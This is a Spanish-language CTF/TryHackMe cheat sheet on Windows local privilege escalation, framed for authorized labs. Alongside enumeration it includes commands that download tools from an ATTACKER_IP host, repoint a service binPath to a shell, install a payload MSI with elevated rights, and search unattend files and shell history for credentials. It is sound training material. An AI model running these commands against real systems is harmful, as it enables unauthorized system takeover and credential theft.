

Guia practica - Windows Local Privilege Escalation para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Guia reutilizable para saber que mirar despues de conseguir una shell en Windows. Esta pensada para labs autorizados tipo TryHackMe/CTF.

La idea no es lanzar winPEAS y esperar magia, sino entender la cadena: identidad -> privilegios -> servicios/tareas/configs -> credenciales -> escalada.

1. Primeros pasos tras conseguir shell

Empieza por saber quien eres, en que maquina estas y que restricciones tiene la shell.

```
whoami
whoami /user
whoami /groups
whoami /priv
hostname
cd
echo %USERNAME%
echo %USERDOMAIN%
ver
systeminfo
```

- Si ves SelpersonatePrivilege o SeAssignPrimaryTokenPrivilege, piensa en tecnicas Potato/impersonation de laboratorio.
- Si perteneces a Backup Operators, Remote Management Users, Administrators o un grupo de servicio raro, revisa permisos especiales.
- Si la shell es limitada, intenta pasar a PowerShell o subir una shell mas comoda antes de enumerar mucho.

2. Estabilizar y transferir herramientas

Prueba primero binarios nativos. Sube herramientas solo cuando necesites confirmar o acelerar.

```
powershell -NoProfile -ExecutionPolicy Bypass
certutil -urlcache -split -f http://ATTACKER_IP:8000/winPEASx64.exe C:\Windows\Temp\winpeas.exe
powershell -c "iwr http://ATTACKER_IP:8000/winPEASx64.exe -OutFile C:\Windows\Temp\winpeas.exe"
C:\Windows\Temp\winpeas.exe
```

- Si certutil esta bloqueado, prueba iwr, curl.exe, bitsadmin o SMB temporal desde tu maquina.
- Guarda salida en archivo cuando sea larga: winpeas.exe > C:\Windows\Temp\wp.txt.
- No ejecutes exploits destructivos si no has confirmado version, arquitectura y privilegios.

3. Informacion de sistema y parches

Busca version, arquitectura, hotfixes y software instalado. En THM esto suele orientar CVEs o misconfigs.

```
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic os get Caption,Version,BuildNumber,OSArchitecture
wmic product get name,version 2>nul
dir "C:\Program Files"
dir "C:\Program Files (x86)"
```

- Kernel exploits son ultimo recurso: primero sudo-equivalentes, servicios, credenciales y tareas.
- Software antiguo con servicio local suele ser mas rentable que un exploit de kernel.

4. Servicios: el vector mas comun

Un servicio vulnerable permite escalar si puedes modificar su binario, configuracion o ruta ejecutada por SYSTEM.

```
sc query state= all
wmic service get name,displayname,pathname,startmode | findstr /i "Auto"
sc qc SERVICIO
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% SERVICIO
```

- Unquoted service path: ruta con espacios sin comillas y directorios escribibles antes del exe real.
- Weak service permissions: puedes cambiar binPath o reiniciar el servicio.
- Weak file permissions: puedes sustituir el ejecutable que arranca el servicio.
- Pregunta clave: puedo modificar algo que se ejecuta como LocalSystem, LocalService o usuario privilegiado?

```
sc config SERVICIO binPath= "cmd /c C:\Windows\Temp\shell.exe"
sc stop SERVICIO
sc start SERVICIO
```

5. Unquoted service paths

Si el binario es C:\Program Files\Vendor App\service.exe sin comillas, Windows prueba rutas intermedias.

```
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v ""
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

- Necesitas escribir en una ruta anterior a la final y poder reiniciar el servicio o esperar reinicio.
- En labs, el ejecutable se suele llamar como el primer segmento: C:\Program.exe o C:\Program Files\Vendor.exe.

6. Tareas programadas y autoruns

Busca scripts o binarios ejecutados automaticamente por un usuario superior.

```
schtasks /query /fo LIST /v
dir C:\Windows\Tasks
dir C:\Windows\System32\Tasks /s /b
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

- Revisa rutas personalizadas en C:\Users, C:\ProgramData, C:\Backup, C:\Scripts, C:\Temp.
- Si puedes escribir el script o carpeta usada por la tarea, puedes controlar lo que ejecuta.
- Comprueba usuario de ejecucion y frecuencia antes de tocar nada.

7. AlwaysInstallElevated

Misconfig clasica de CTF: si ambas claves estan a 1, un MSI puede ejecutarse elevado.

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msiexec /quiet /qn /i C:\Windows\Temp\payload.msi
```

- Solo es explotable si HKCU y HKLM devuelven 0x1.
- Genera el MSI en tu maquina atacante y documenta el vector; no lo uses fuera de laboratorio.

8. Privilegios especiales

whoami /priv decide muchas rutas de escalada.

Privilegio	Que probar primero
SeImpersonatePrivilege	JuicyPotato/PrintSpoofer/RoguePotato segun version y restricciones del lab.
SeBackupPrivilege	Leer archivos protegidos, SAM/SYSTEM o datos sensibles mediante backup semantics.
SeRestorePrivilege	Posible sobrescritura de archivos sensibles si el contexto lo permite.

Privilegio	Que probar primero
SeDebugPrivilege	Dump de procesos o tokens si herramientas y permisos lo permiten.
SeManageVolumePrivilege	Vector raro, pero en CTF puede permitir escritura privilegiada mediante tecnica especifica.

9. Credenciales en Windows

Las escaladas mas limpias suelen ser credenciales reutilizadas.

```
cmdkey /list
dir /s /b *pass* *cred* *config* *backup* 2>nul
findstr /si password *.txt *.ini *.config *.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
```

- Revisa web.config, appsettings.json, scripts PowerShell, backups y shares montados.
- Si cmdkey lista credenciales guardadas, prueba runas /savecred en contexto de lab.

10. Checklist minima

- whoami /priv y grupos.
- systeminfo, hotfixes y software instalado.
- Servicios: permisos, binPath, unquoted paths y ejecutables escribibles.
- Tareas programadas, autoruns y scripts en rutas escribibles.
- AlwaysInstallElevated y registry sensible.
- Credenciales en configs, history, backups, shares y cmdkey.
- winPEAS para confirmar, no para sustituir razonamiento.